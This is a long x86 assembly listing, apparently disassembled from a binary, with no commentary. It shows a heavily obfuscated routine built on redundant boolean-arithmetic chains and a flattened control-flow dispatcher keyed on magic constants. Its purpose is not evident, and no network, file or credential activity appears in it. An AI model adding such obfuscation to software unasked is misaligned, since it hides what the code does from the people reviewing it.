mov al, dl
and al, bh
xor bh, dl
or bh, al
mov al, bl
and al, ah
xor ah, bl
or ah, al
mov al, bh
xor al, 1
and al, ah
xor ah, 1
and ah, bh
or ah, al
mov al, dl
and al, bl
xor bl, dl
xor ah, 1
movzx edx, byte [esp + 4]
or bl, al
mov al, ah
or ah, bl
xor al, bl
xor ah, 1
or ah, al
mov dh, dl
mov al, ah
xor al, 1
or al, ch
xor ch, 1
or ch, ah
mov ah, byte [esp + 8]
mov cl, al
xor cl, ch
or ch, al
xor ch, 1
or ch, cl
and dh, ah
mov al, dh
mov cl, dh
and al, dl
xor cl, dl
or dl, ah
xor ah, dh
or cl, al
mov al, dl
and ah, dh
xor al, cl
xor cl, 1
or cl, dl
xor al, 1
mov dl, ch
xor cl, 1
or cl, al
mov ebx, ecx
mov byte [esp + 4], cl
mov cl, ch
xor cl, 1
mov al, cl
or cl, ch
and al, ch
xor al, 1
xor dl, al
or al, ch
mov ch, bl
mov bl, ah
xor al, 1
xor ch, 1
or al, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov cl, dl
xor cl, al
or al, dl
mov dl, ah
xor al, 1
or al, cl
mov cl, ah
xor cl, 1
mov dh, al
or bl, cl
xor dh, 1
and dl, bl
xor bl, ah
mov byte [esp + 8], dh
mov bh, bl
or dl, bl
xor bh, 1
xor bl, dl
or dl, bh
mov bh, byte [esp + 4]
xor bl, 1
xor dl, 1
or dl, bl
mov bl, bh
and cl, bh
xor dl, bh
or bl, ah
and ah, ch
xor bl, 1
or ah, cl
mov cl, bl
and cl, ah
xor ah, bl
or ah, cl
mov bl, ah
mov cl, ah
xor bl, 1
and bl, ah
xor bl, 1
xor cl, bl
or bl, ah
xor bl, 1
or bl, cl
mov cl, dl
xor bl, 1
or cl, bl
xor bl, dl
xor bl, 1
mov dl, cl
xor dl, bl
or bl, cl
mov cl, al
xor bl, 1
or cl, dh
or bl, dl
mov dl, cl
mov bh, cl
or dl, dh
xor bh, dh
mov dh, ch
xor dl, 1
mov ah, dl
and ah, bh
xor bh, dl
mov dl, bl
or bh, ah
mov ah, bl
xor ah, 1
and ah, bl
xor ah, 1
xor dl, ah
or ah, bl
xor ah, 1
or ah, dl
mov dl, ah
and ah, bh
xor bh, 1
xor dl, 1
and dl, bh
or ah, dl
mov dl, ah
xor dl, bh
and dl, ah
mov ah, bl
xor ah, bh
or bh, bl
mov bl, dl
xor bh, 1
or bh, ah
mov ah, dl
xor ah, 1
xor bh, 1
and ah, dl
xor ah, 1
xor bl, ah
or ah, dl
xor ah, 1
or ah, bl
mov bl, dl
xor ah, bh
xor bl, bh
or bh, dl
xor bh, 1
xor ah, 1
or bh, bl
mov bl, ch
mov ch, byte [esp + 4]
mov dl, ah
xor bh, 1
and dl, bh
xor bh, ah
or bh, dl
mov dl, dh
and bl, ch
and dl, bl
xor bl, dh
or dh, ch
or bl, dl
mov ch, dh
mov byte [esp + 4], dh
mov ah, bl
mov dl, bl
mov bl, byte [esp + 8]
xor ch, 1
xor ah, 1
mov byte [esp + 0xc], dl
mov byte [esp], ah
and al, bl
mov ah, bl
and ah, al
xor al, bl
mov bl, dl
and bl, byte [esp]
or al, ah
mov ah, ch
and ah, dh
mov dh, bl
xor bl, dl
mov dl, byte [esp + 4]
xor dh, 1
or dh, byte [esp]
xor dl, byte [esp]
xor dh, 1
or dh, bl
mov bl, ah
xor ah, ch
and bl, ch
or ah, bl
mov bl, byte [esp + 0xc]
xor ah, dh
mov dh, al
xor ah, 1
xor dh, 1
or ch, bl
xor ch, 1
or ch, dl
mov dl, ah
or ah, ch
xor dl, ch
xor ah, 1
or ah, dl
mov dl, al
and dl, dh
mov ch, dl
xor dl, al
xor ch, 1
or ch, dh
xor ch, 1
or ch, dl
mov dl, dh
xor ch, cl
and dl, cl
xor cl, dh
xor dh, bl
or cl, dl
xor ch, 1
xor dh, 1
xor cl, 1
mov dl, ch
and dl, cl
xor cl, ch
or cl, dl
mov dl, cl
xor dl, 1
and cl, dl
xor cl, 1
mov ch, cl
or cl, dl
xor ch, dl
xor cl, 1
mov dl, ah
or cl, ch
xor dl, 1
and dl, cl
xor cl, 1
and cl, ah
mov ah, bl
or cl, dl
mov dl, bl
xor dl, al
or al, bl
xor cl, 1
xor al, 1
or al, dl
mov dl, dh
xor al, 1
and dl, al
xor al, dh
or al, dl
mov edx, eax
mov ah, al
xor dl, 1
and dl, al
xor dl, 1
xor ah, dl
or dl, al
mov al, cl
xor dl, 1
or dl, ah
xor dl, 1
and al, dl
xor cl, dl
or al, cl
xor cl, 1
mov edx, ecx
or cl, al
xor dl, al
xor cl, 1
or cl, dl
mov eax, ecx
mov edx, ecx
xor al, 1
or dl, al
and cl, dl
xor dl, 1
mov ah, dl
xor ah, al
and ah, dl
and dl, al
or dl, cl
mov al, ah
and al, dl
xor dl, ah
or dl, al
mov eax, edx
xor al, 1
mov ecx, eax
mov ah, al
and cl, dl
and ah, cl
xor cl, al
or al, dl
or cl, ah
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor al, bh
xor bh, 1
xor cl, 1
mov dl, bh
and dl, cl
xor bh, cl
or bh, dl
mov edx, eax
mov cl, bh
xor dl, 1
and al, bh
xor cl, 1
or bh, dl
and dl, cl
mov bl, bh
mov ecx, 0x6d46da5c
or dl, al
xor bl, dl
test bl, 1
cmovne esi, ecx
test dl, 1
mov edx, 0xdfae50b4
mov ecx, esi
cmovne ecx, edx
test bh, 1
cmovne ecx, esi
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
cmp ecx, 0xdfae50b3
jg 0x43b8a8
cmp ecx, 0xbf62816d
je 0x441b14
cmp ecx, 0xc96aa670
jne 0x42f660
cmp byte [esp + 0xeb], 0
mov ecx, 0x97a3d866
mov eax, 0xe11c5cca
jmp 0x44c1d2
cmp ecx, 0x391a1218
jg 0x43b915
cmp ecx, 0x2ed18faf
je 0x445b3e
cmp ecx, 0x37a6f1aa
jne 0x42f660
mov eax, dword [esp + 0x158]
mov dword [esp + 0xc], eax
movzx eax, word [esp + eax*2 + 0x15c]
mov ecx, eax
mov edi, eax
mov dword [esp + 4], eax
not ecx
mov esi, edi
mov edx, ecx
and esi, 0x6f7c
mov eax, ecx
mov ebx, ecx
mov dword [esp], ecx
and ecx, 0x5a38
and edx, 0xffff9083
and eax, edi
or esi, edx
xor esi, 0x6f7c
mov edx, esi
and edx, eax
xor eax, esi
mov esi, edi
and esi, 0xa5c7
or eax, edx
mov edx, eax
or esi, ecx
and eax, 0x42b1
not edx
xor esi, 0xffffa5c7
mov ecx, esi
and edx, 0xffffbd4e
xor ecx, ebx
or eax, edx
mov edi, eax
and ecx, esi
xor eax, 0x2c04
xor edi, 0x2b1
mov esi, ecx
and eax, 0x6c04
mov edx, ecx
and edi, 0xffff93fb
not esi
and edx, 0x34d5
or edi, eax
mov eax, esi
and esi, 0x33cc
mov ebx, edi
and eax, 0xffffcb2a
or edx, eax
mov eax, edi
xor ebx, 0x6c04
xor edi, 0x58d1
mov ebp, ebx
xor eax, 0xffff93fb
and ebx, 0x33cc
and ebp, 0xffffcb2a
and edi, eax
mov dword [esp + 8], ebp
and dword [esp + 8], edi
xor edi, ebp
or edi, dword [esp + 8]
mov ebp, edi
not ebp
and ebp, edx
not edx
and edx, edi
mov edi, eax
or eax, ecx
and ecx, 0xffffcc33
and edi, 0xffffcc33
or esi, ecx
not eax
or edx, ebp
or ebx, edi
mov ecx, edx
mov edi, dword [esp]
xor esi, ebx
or eax, esi
not eax
and ecx, eax
xor eax, edx
mov ebx, edi
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and ecx, eax
and eax, 0xdf7
and edx, 0xfffff208
or eax, edx
mov edx, eax
xor eax, 0xfffff208
xor edx, 3
mov esi, eax
and esi, 0x1ffc
and edx, 0xffffe003
or edx, esi
mov esi, ecx
and ecx, 0xffffe003
not esi
or eax, esi
and esi, 0x1ffc
or ecx, esi
not eax
mov esi, edi
xor ecx, edx
and esi, 0xffffd619
or eax, ecx
mov ecx, eax
mov edx, eax
and eax, 0x18d4
not ecx
and edx, 0xffffe621
and ecx, 0x10a
or eax, ecx
xor eax, 0x18d4
or eax, edx
mov ecx, eax
and eax, 0x7cec
not ecx
and ecx, 0xffff8313
or eax, ecx
mov edx, eax
xor eax, 0x102
xor edx, 0x7cec
and eax, 0x196e
mov ecx, edx
and edx, 0xffffe621
and ecx, 0xffffe691
or ecx, eax
mov eax, edi
mov edi, dword [esp + 4]
xor ecx, 0xffffff4f
or eax, 0xffffe678
or edx, ecx
mov ecx, edx
and edx, 0x4694
not ecx
and ecx, 0xffffb96b
or edx, ecx
mov ecx, edi
and ecx, 0x29e6
mov ebp, edx
or ecx, esi
mov esi, ebx
mov edx, ecx
xor ecx, 0xc610
and esi, 0xffffdde5
xor edx, 0x40
or ecx, 0x1087
and ecx, 0xfffff6b7
and edx, 0x48
or edx, ecx
mov ecx, eax
and eax, 0xfffff6b7
not ecx
and ecx, 0x900
or ecx, eax
xor ecx, edx
mov eax, ecx
and ecx, 0x59
not eax
and eax, 0xffffffa6
or ecx, eax
mov eax, edi
and eax, 0x221a
not ecx
or eax, esi
mov edx, ecx
xor eax, 0x221a
and edx, eax
xor eax, ecx
mov ecx, ebp
xor ebp, 0x4694
xor ecx, 0xffffb96b
or eax, edx
mov edi, ebp
mov esi, ecx
mov dword [esp + 8], ecx
mov ecx, eax
and eax, 0xffffc4de
not ecx
mov edx, esi
and ecx, 0x3b21
and edx, 0x4704
or eax, ecx
mov ecx, ebp
and ecx, 0xffffb8fb
or edx, ecx
mov ecx, esi
and ecx, ebp
and ebp, 0xffffb50c
mov esi, ecx
and ecx, 0x4704
not esi
or edi, esi
and esi, 0xffffb8fb
or ecx, esi
not edi
xor ecx, edx
or edi, ecx
mov esi, edi
mov edi, eax
xor eax, 0x3b21
mov ecx, eax
xor edi, 0xffffc4de
mov dword [esp + 0x10], esi
mov edx, edi
and ecx, 0xffffae9f
and edi, 0x5160
or edi, ecx
and edx, 0xffffbe51
mov ecx, esi
xor edi, 0xfffff8b4
and ecx, 0xffffa9d4
or edi, eax
and eax, 0x41ae
or edx, eax
mov ebx, edx
xor edx, 0x4082
xor ebx, 0x1240
and edx, 0xffffec93
and ebx, 0x136c
or ebx, edx
mov edx, esi
mov esi, dword [esp + 8]
not edx
mov eax, edx
mov dword [esp + 0x18], edx
and eax, 0x562b
or ecx, eax
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, esi
and ecx, 0x4af3
mov edx, eax
or ebp, ecx
not edx
xor ebp, 0xffffe327
xor esi, ebp
and esi, ebp
mov ebp, ebx
xor ebx, 0x136c
mov ecx, ebx
mov dword [esp + 8], ebx
mov ebx, esi
xor ebp, 0xffffec93
and esi, edx
not ebx
mov dword [esp + 0x14], ebp
and ecx, 0x562b
and ebp, 0xffffa9d4
or edx, ebx
and ebx, eax
or ebp, ecx
mov eax, edx
mov ecx, edx
or ebx, esi
not ebp
not eax
and ecx, 0x2ba6
or ebp, dword [esp + 8]
and eax, 0xffffd459
or eax, ecx
mov ecx, ebx
and ebx, 0xffffd459
not ecx
or edx, ecx
and ecx, 0x2ba6
or ebx, ecx
not edx
mov ecx, ebp
xor ebx, eax
mov eax, edi
xor ecx, 0x425
or edx, ebx
mov ebx, edi
not eax
and ecx, ebp
xor ebx, 0x425
mov esi, ebx
and ebx, eax
mov eax, ecx
and esi, edi
mov dword [esp + 0x1c], esi
mov esi, ebp
and esi, edi
xor edi, ebp
not ebp
and ebp, 0x425
or edi, esi
and eax, ebp
xor ebp, ecx
mov ecx, dword [esp + 0x1c]
or ebp, eax
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
mov eax, ebp
and ebp, 0xffff8316
not eax
and eax, 0x7ce9
or ebp, eax
mov eax, ebx
and ebx, 0xffff8316
not eax
and eax, 0x7ce9
or ebx, eax
mov eax, edi
and edi, 0x68f2
not eax
xor ebx, ebp
mov ebp, dword [esp + 4]
and eax, 0xffff970d
or edi, eax
mov eax, ebx
xor edi, 0x68f2
and eax, edi
xor edi, ebx
mov ebx, edx
or edi, eax
mov eax, edx
and ebx, 0x5aea
not eax
not edi
and eax, 0xffffa515
or ebx, eax
xor ebx, 0xffffa515
or ebx, edi
xor edi, edx
mov eax, ebx
not edi
mov ecx, ebx
not eax
and edi, edx
and ecx, 0xffffe008
and eax, 0x1ff7
or eax, ecx
mov ecx, edi
and edi, 0x1ff7
not ecx
or ebx, ecx
and ecx, 0xffffe008
or edi, ecx
mov ecx, dword [esp + 0x18]
not ebx
xor edi, eax
or ebx, edi
mov eax, ecx
and ecx, 0xffffb621
mov edx, ecx
mov ecx, dword [esp + 0x10]
and ecx, 0x49de
or ecx, edx
mov edx, dword [esp + 8]
or eax, edx
and edx, 0xffffb621
mov esi, edx
mov edx, dword [esp + 0x14]
not eax
and edx, 0x49de
or edx, esi
xor edx, ecx
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
mov ecx, edx
not eax
xor ecx, 0xffff9de7
and eax, 0xffff9de7
and ecx, edx
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov edx, ebx
mov eax, ecx
and ecx, 0xffff9de7
not eax
and eax, 0x6218
or ecx, eax
mov eax, ecx
and ecx, 0xffff9165
not eax
and eax, 0x6e9a
or eax, ecx
mov ecx, eax
xor eax, 0xffff9165
xor edx, eax
xor ecx, 0x6e9a
and eax, ebx
and edx, ebx
not ebx
and ebx, ecx
mov ecx, edx
and edx, 0x76bb
not ecx
or eax, ebx
mov esi, ecx
and esi, 0xffff8944
or edx, esi
mov esi, eax
and eax, 0x76bb
not esi
or ecx, esi
and esi, 0xffff8944
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
mov esi, ecx
and ecx, 0xc90
not eax
and esi, 0xffff939c
mov edx, eax
and edx, 0x6c63
or esi, edx
mov edx, esi
xor esi, 0x6c23
xor edx, 0x8380
and esi, 0x7c3f
and edx, 0xffff83c0
or edx, esi
mov esi, edx
xor edx, 0xffff8080
xor esi, 0x1810
and edx, 0xffffe4af
and esi, 0x1b50
or esi, edx
mov edx, esi
xor esi, 0xffffa403
xor edx, 0x1340
and esi, 0xffffac13
and edx, 0x53ec
or esi, edx
mov edx, eax
mov edi, esi
and edx, 0xfffff36f
xor edi, 0x53ec
or ecx, edx
and edi, esi
xor ecx, 0x5f7c
xor eax, ecx
mov edx, edi
and eax, ecx
mov ecx, edi
xor edx, 0x5691
mov ebx, edx
not ecx
and edx, edi
and ebx, ecx
mov esi, ebx
and ebx, 0xffffeef8
not esi
mov edi, esi
and edi, 0x1107
or ebx, edi
mov edi, edx
and edx, 0xffffeef8
not edi
or esi, edi
and edi, 0x1107
or edx, edi
not esi
xor edx, ebx
or esi, edx
mov edx, eax
or eax, 0xffffa96e
mov edi, eax
not edx
and eax, 0x7099
not edi
mov ebx, edx
and edi, 0x600
or ebx, 0x5691
or edi, eax
mov eax, ebx
and ebx, 0x7099
not eax
and eax, 0xffff8966
or eax, ebx
mov ebx, dword [esp]
xor eax, edi
mov edi, esi
and esi, 0xffff9db8
not edi
and edi, 0x6247
or esi, edi
mov edi, eax
and eax, 0xffff9db8
not edi
and edi, 0x6247
or eax, edi
xor eax, esi
mov esi, ecx
and esi, edx
xor edx, ecx
or edx, esi
mov esi, eax
and eax, 0x36d4
mov ecx, edx
and edx, 0x45c4
not esi
not ecx
and ecx, 0xffffba3b
or edx, ecx
mov ecx, esi
and ecx, 0xffffc92b
or eax, ecx
mov ecx, edx
xor edx, 0xffffba3b
xor ecx, 0x4c4
or esi, edx
and edx, 0xffffc92b
and ecx, 0x36d4
not esi
or ecx, edx
xor ecx, eax
or esi, ecx
mov ecx, esi
xor ecx, 0xffffbd5b
and ecx, esi
not esi
and esi, 0xffffbd5b
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov eax, ecx
and ecx, 0x7a79
not eax
and eax, 0xffff8586
or ecx, eax
mov eax, ecx
xor ecx, 0xffff8d10
xor eax, 0x72ef
mov edx, ecx
and ecx, 0x4434
mov esi, eax
and edx, 0xfffff18d
and eax, 0xffffbbcb
and esi, 0xe72
or eax, ecx
or esi, edx
mov ecx, eax
xor eax, 0x4434
mov edi, esi
xor esi, 0x310c
xor ecx, 0xffffbbcb
xor edi, 0x452
and esi, 0x3b2c
or eax, ecx
and edi, 0xffffc4d3
mov ecx, eax
and eax, 0xffffa6ad
or edi, esi
not ecx
mov edx, edi
xor edi, 0x42
and ecx, 0x5952
xor edx, 0x1b00
and edi, 0x206e
or eax, ecx
and edx, 0xffffdf91
mov ecx, eax
xor eax, 0x5952
or edx, edi
xor ecx, 0xffffa6ad
mov esi, edx
xor edx, 0x206e
xor esi, 0xffffdf91
and ecx, esi
mov esi, edx
xor esi, eax
and eax, edx
and esi, edx
or eax, ecx
mov ecx, esi
and esi, 0x210b
not ecx
mov edx, ecx
and edx, 0xffffdef4
or esi, edx
mov edx, eax
and eax, 0x210b
not edx
or ecx, edx
and edx, 0xffffdef4
or eax, edx
not ecx
xor eax, esi
or ecx, eax
mov edx, ecx
mov esi, ecx
xor esi, 0xffff9b6e
not edx
mov eax, edx
and esi, ecx
and edx, 0x1b48
and ecx, 0xffff8026
or ecx, edx
mov edx, esi
and esi, 0xffff9045
or eax, 0x6491
not edx
mov edi, edx
and edi, 0x6fba
or esi, edi
mov edi, ecx
xor ecx, 0x7fd9
xor edi, 0x8004
or edx, ecx
and ecx, 0x6fba
and edi, 0xffff9044
not edx
or edi, ecx
xor edi, esi
or edx, edi
mov ecx, edx
and edx, eax
not eax
not ecx
mov esi, eax
xor esi, ecx
and ecx, eax
and esi, eax
or ecx, edx
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov edx, ecx
mov eax, ecx
and ecx, 0x4d11
not edx
or eax, 0xffff9eb8
and edx, 0xffffb2ee
mov edi, eax
and eax, 0xffffe3ec
or ecx, edx
not edi
mov edx, ecx
xor ecx, 0xffff8064
xor edx, 0x4d11
and ecx, 0xffffc864
mov esi, edx
and edx, 0x6147
and esi, 0x379b
or esi, ecx
xor esi, 0xffffa923
or edx, esi
mov esi, edi
mov ecx, edx
and edx, 0xffffefae
not ecx
and ecx, 0x1051
or edx, ecx
mov ecx, edx
xor edx, 0x1051
xor esi, edx
xor ecx, 0xc02
and edx, 0xffffe3ec
and ecx, 0x1c13
and esi, edi
and edi, 3
or ecx, edx
mov edx, esi
or edi, eax
and esi, 0x6045
not edx
xor ecx, edi
mov edi, ebp
and ebp, 0x933e
mov eax, edx
and edi, 0x4ace
and eax, 0xffff8122
or esi, eax
mov eax, ecx
and ecx, 0x7edd
not eax
or edx, eax
and eax, 0xffff8122
or ecx, eax
not edx
xor ecx, esi
or edx, ecx
mov ecx, edx
mov eax, edx
xor ecx, 0xffff9eb8
and eax, 0xffffa027
and ecx, edx
not edx
and edx, 0x5fd8
or eax, edx
mov esi, eax
and eax, 0xc10
xor esi, 0x1e98
or esi, 0x6147
mov edx, esi
and edx, 0xfffff2e8
or eax, edx
mov edx, ecx
and ecx, 0xd17
not edx
or esi, edx
and edx, 0xfffff2e8
or ecx, edx
not esi
mov edx, ebx
xor ecx, eax
and edx, 0x6cc1
or esi, ecx
or ebp, edx
mov eax, esi
mov ecx, esi
and esi, 0xffffa6f5
xor ebp, 0x6cc1
not eax
or ebp, ebx
and ebx, 0xffffb531
and ecx, eax
and eax, 0x590a
or ebx, edi
or eax, esi
mov edx, ecx
mov esi, ebp
xor eax, 0xffffa6f5
not esi
and edx, eax
xor eax, ecx
and esi, 0xffffa005
or eax, edx
mov ecx, eax
xor ecx, 0xffff99dd
and ecx, eax
not eax
and eax, 0xffff99dd
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
and ecx, 0xffff99dd
not eax
and eax, 0x6622
or ecx, eax
mov eax, ecx
and ecx, 0xffff80cd
not eax
and eax, 0x7f32
or ecx, eax
mov eax, ecx
xor ecx, 0xf00
xor eax, 0x8080
and ecx, 0xf4d
and eax, 0xfffff0b2
or eax, ecx
mov dword [esp], eax
mov eax, ebx
xor ebx, 0xffff8121
xor eax, 0x848
and ebx, 0xffffc3a7
and eax, 0x3c58
or eax, ebx
mov ecx, eax
xor eax, 0xffffc3a7
mov edi, eax
xor ecx, 0x1c58
xor edi, ebp
and ebp, 0x5ffa
and ecx, 0x5ffa
and edi, eax
and eax, 0xffffa005
or esi, ebp
or eax, ecx
mov ecx, edi
and edi, 0xffffcb29
xor esi, eax
not ecx
mov eax, esi
mov ebx, ecx
and esi, 0xffffcb29
not eax
and ebx, 0x34d6
or ecx, eax
and eax, 0x34d6
or edi, ebx
or esi, eax
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
mov eax, ecx
xor esi, 0x6491
and eax, 0x49ff
and esi, ecx
not ecx
mov edi, ecx
mov ebx, esi
and esi, 0x66b1
and edi, 0xffffb600
not ebx
or eax, edi
xor eax, 0xffffd291
or eax, ecx
and ecx, 0x6491
mov edi, ecx
or ecx, 0xffff994e
mov ebp, eax
not edi
and ebp, 0x1c95
or edi, ebx
and ebx, 0xffff994e
or esi, ebx
not edi
mov ebx, eax
xor ecx, esi
or edi, ecx
mov esi, edi
mov ecx, edi
xor esi, 0x1c95
and ecx, 0x709
and esi, edi
not edi
and edi, 0xfffff8f6
or ecx, edi
mov edi, ecx
xor ecx, 0x1894
xor edi, 0x709
or ecx, 0xffffe36a
and ebx, edi
xor edi, eax
not eax
mov edx, ecx
and eax, 0xffffe36a
and edx, 0x72c4
or edi, ebx
or eax, ebp
mov ebp, ecx
not ebp
and ebp, 0xc11
or ebp, edx
mov edx, esi
and esi, 0xffff8d3b
not edx
or ecx, edx
and edx, 0x72c4
or esi, edx
mov edx, eax
not ecx
xor esi, ebp
not edx
or ecx, esi
and edx, ecx
not ecx
and ecx, eax
mov eax, edi
and edi, 0xffffa419
not eax
or ecx, edx
and eax, 0x5be6
mov esi, ecx
and ecx, 0xffffa671
or edi, eax
not esi
mov eax, edi
mov edx, esi
xor edi, 0x5be6
xor eax, 0xa411
or esi, edi
and edx, 0x598e
and edi, 0x598e
and eax, 0xffffa671
or ecx, edx
not esi
or eax, edi
xor eax, ecx
or esi, eax
mov ecx, esi
mov edi, esi
mov eax, esi
not ecx
xor edi, 0xfffff344
and eax, 0xffffba6a
mov ebx, ecx
and edi, esi
and esi, 0xde5
and ebx, 0xfffff21a
or ebx, esi
xor ebx, 0xfffff21a
or ebx, ecx
and ecx, 0x4595
or eax, ecx
mov ecx, eax
xor eax, 0x4104
or eax, 0xcbb
xor ecx, 0x8240
mov edx, eax
and ecx, 0xffffc344
and edx, 0x30b0
or ecx, edx
mov edx, edi
and edi, 0xffffcf4f
not edx
or eax, edx
and edx, 0x30b0
or edi, edx
not eax
mov edx, ebx
and ebx, 0xffffb9a5
xor edi, ecx
not edx
or eax, edi
and edx, 0x465a
mov ecx, eax
and eax, 0x6d42
or ebx, edx
not ecx
mov edx, ebx
xor ebx, 0x465a
and ecx, 0xffff92bd
xor edx, 0xffffb9a5
or eax, ecx
mov ecx, eax
xor eax, 0x61f9
xor ecx, 0xffff9e06
and edx, eax
mov eax, ecx
xor eax, ebx
and ebx, ecx
and eax, ecx
or ebx, edx
mov ecx, eax
mov edx, ebx
and eax, 0xffff8202
and ebx, 0xffff8202
not ecx
not edx
mov esi, ecx
or ecx, edx
and edx, 0x7dfd
and esi, 0x7dfd
or ebx, edx
not ecx
or eax, esi
xor ebx, eax
or ecx, ebx
mov ebx, ecx
and ecx, 0x2d4
not ebx
and ebx, 0xfffffd2b
or ebx, ecx
mov edi, ebx
mov esi, ebx
xor ebx, 0x12ee
xor esi, 0xfffffd2b
mov ecx, ebx
xor edi, 0x2d4
and ecx, esi
and ebx, edi
and edi, 0x58d3
mov eax, ecx
and ecx, 0xffffee92
not eax
mov edx, eax
and edx, 0x116d
or ecx, edx
mov edx, ebx
and ebx, 0xffffee92
not edx
or eax, edx
and edx, 0x116d
or ebx, edx
not eax
xor ebx, ecx
mov ecx, dword [esp]
or eax, ebx
mov ebx, esi
and ebx, 0xffffa72c
or ebx, edi
mov edx, ecx
xor ebx, 0xffffa72c
xor ecx, 0xf4d
xor edx, 0xfffff0b2
or ebx, esi
mov dword [esp], ecx
mov ebp, edx
mov edx, eax
and eax, 0xffffefc5
not edx
mov edi, ebp
and edx, 0x103a
and edi, 0x388b
or eax, edx
mov edx, ebx
and ebx, 0xffff82e1
mov esi, eax
not edx
and eax, 0xffffa4e7
and edx, 0x7d1e
not esi
or ebx, edx
mov edx, esi
and edx, 0x5b18
or eax, edx
mov edx, ebx
xor ebx, 0x7d1e
xor edx, 0x80e1
or esi, ebx
and ebx, 0x5b18
and edx, 0xffffa4e7
not esi
or edx, ebx
xor edx, eax
or esi, edx
mov eax, esi
and esi, 0x2ad9
not eax
and eax, 0xffffd526
or esi, eax
mov eax, esi
xor esi, 0x1006
xor eax, 0xa99
and esi, 0x3046
and eax, 0xffffcfb9
or eax, esi
mov edx, eax
xor eax, 0xffffcfb9
xor edx, 0x2044
mov esi, eax
and esi, 0xffff98ba
and edx, 0x6745
or edx, esi
xor edx, 0xffff98ba
xor eax, edx
and eax, edx
mov esi, eax
mov edx, eax
mov dword [esp + 8], eax
mov eax, ebp
not esi
and edx, 0xffffcd3b
mov ebx, esi
and ebx, 0x32c4
or ebx, edx
mov edx, ecx
mov ebp, ebx
and edx, 0xffffc774
xor ebp, 0x244
or edi, edx
mov edx, ebx
xor ebx, 0xa4f
xor edx, 0xffffcd3b
and ebp, 0xffffc774
and ebx, edx
mov edx, ebp
and edx, ebx
xor ebx, ebp
mov ebp, eax
or ebx, edx
mov edx, edi
and edi, 0xffffe6f6
not edx
and edx, 0x1909
or edi, edx
mov edx, ebx
and ebx, 0xffffe6f6
not edx
and edx, 0x1909
or ebx, edx
xor ebx, edi
mov edi, ecx
and ecx, 0x49aa
mov edx, ebx
and ebx, 0xffffc2d5
not edx
mov dword [esp + 4], edx
and edx, 0x3d2a
or ebx, edx
mov edx, eax
and edx, 0xffffb655
or ecx, edx
mov edx, edi
mov edi, ebp
and edx, eax
mov eax, edx
and edx, 0x49aa
not eax
or edi, eax
and eax, 0xffffb655
or edx, eax
not edi
xor edx, ecx
mov ecx, dword [esp + 8]
or edi, edx
mov eax, edi
and edi, 0x6f48
not eax
and eax, 0xffff90b7
and ecx, 0x46a9
or edi, eax
mov eax, esi
and eax, 0xffffb956
or ecx, eax
mov eax, edi
xor edi, 0xffff9016
xor eax, 0x4608
and edi, 0xffffb956
and eax, 0x46a9
or eax, edi
xor eax, ecx
mov ecx, ebp
mov edi, eax
and ecx, 0x3d2a
xor edi, esi
and esi, ebp
mov ebp, esi
mov esi, dword [esp]
and edi, eax
mov eax, edi
or eax, 0xffffdb96
mov edx, esi
and edx, 0xffffc2d5
or edx, ecx
mov ecx, dword [esp + 4]
xor edx, ebx
mov ebx, eax
not ebx
or ebx, 0xffffc182
xor ecx, edx
and ecx, edx
mov dword [esp + 4], ecx
mov ecx, dword [esp + 8]
and ecx, esi
or ebp, ecx
xor esi, ebp
and esi, ebp
mov ebp, esi
and esi, 0xffffdb96
not ebp
mov ecx, ebp
and ecx, 0x2469
or esi, ecx
mov ecx, edi
xor ecx, 0x2469
and ecx, edi
not edi
mov edx, ecx
and ecx, 0x3e7d
not edx
or eax, edx
and edx, 0xffffc182
or ecx, edx
not eax
xor ebx, ecx
or eax, ebx
mov ecx, eax
and eax, 0xfffff516
not ecx
and ecx, 0xae9
or eax, ecx
mov ecx, esi
and esi, 0xfffff516
not ecx
and ecx, 0xae9
or esi, ecx
xor esi, eax
mov eax, edi
and eax, ebp
xor ebp, edi
mov edi, dword [esp + 4]
or ebp, eax
mov eax, ebp
and ebp, 0x4580
not eax
and eax, 0xffffba7f
mov ecx, edi
mov edx, edi
or ebp, eax
mov eax, esi
and ecx, 0x92
xor edx, 0xd2
xor ebp, 0x4580
and edx, edi
and eax, ebp
xor ebp, esi
or ebp, eax
mov eax, edi
not eax
mov esi, ebp
mov dword [esp], eax
and eax, 0x40
and esi, 0x888
or ecx, eax
xor ecx, 0x92
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
and edx, 0xd2
not eax
and eax, 0xffffff2d
or edx, eax
mov eax, ebp
mov ebx, edx
mov edx, ebp
not eax
xor edx, 0xffffc8ca
mov ecx, eax
mov dword [esp + 8], ebx
and edx, ebp
and ecx, 0x6331
and ebp, 0xffff9cce
or ebp, ecx
mov ecx, edx
not ebp
or ebp, eax
and eax, 0xffffc042
or esi, eax
mov dword [esp + 0x14], ebp
xor esi, 0x888
mov eax, esi
xor ecx, esi
and eax, edx
mov edx, edi
or ecx, eax
and edx, 0x7969
mov eax, ecx
and ecx, 0xffffa07b
not eax
and eax, 0x5f84
or ecx, eax
mov esi, ecx
mov ecx, ebx
not ecx
mov eax, ecx
mov ebp, ecx
mov dword [esp + 0x10], ecx
mov ecx, ebx
mov ebx, dword [esp]
and eax, 0xffff9cce
and ecx, 0x6331
or ecx, eax
not ecx
mov eax, ebx
or ecx, ebp
and eax, 0xffff8696
mov ebp, ecx
or edx, eax
and ebp, 0x3f62
xor edx, 0xffffe5a7
xor ebx, edx
and ebx, edx
mov edx, esi
xor esi, 0xffff974e
xor edx, 0x68b1
mov dword [esp], esi
and esi, 0xffff8a8d
mov eax, ebx
mov edi, ebx
mov dword [esp + 4], edx
and edx, 0x7572
not eax
and edi, 0x1a15
or edx, esi
and eax, 0xffffe5ea
mov esi, edx
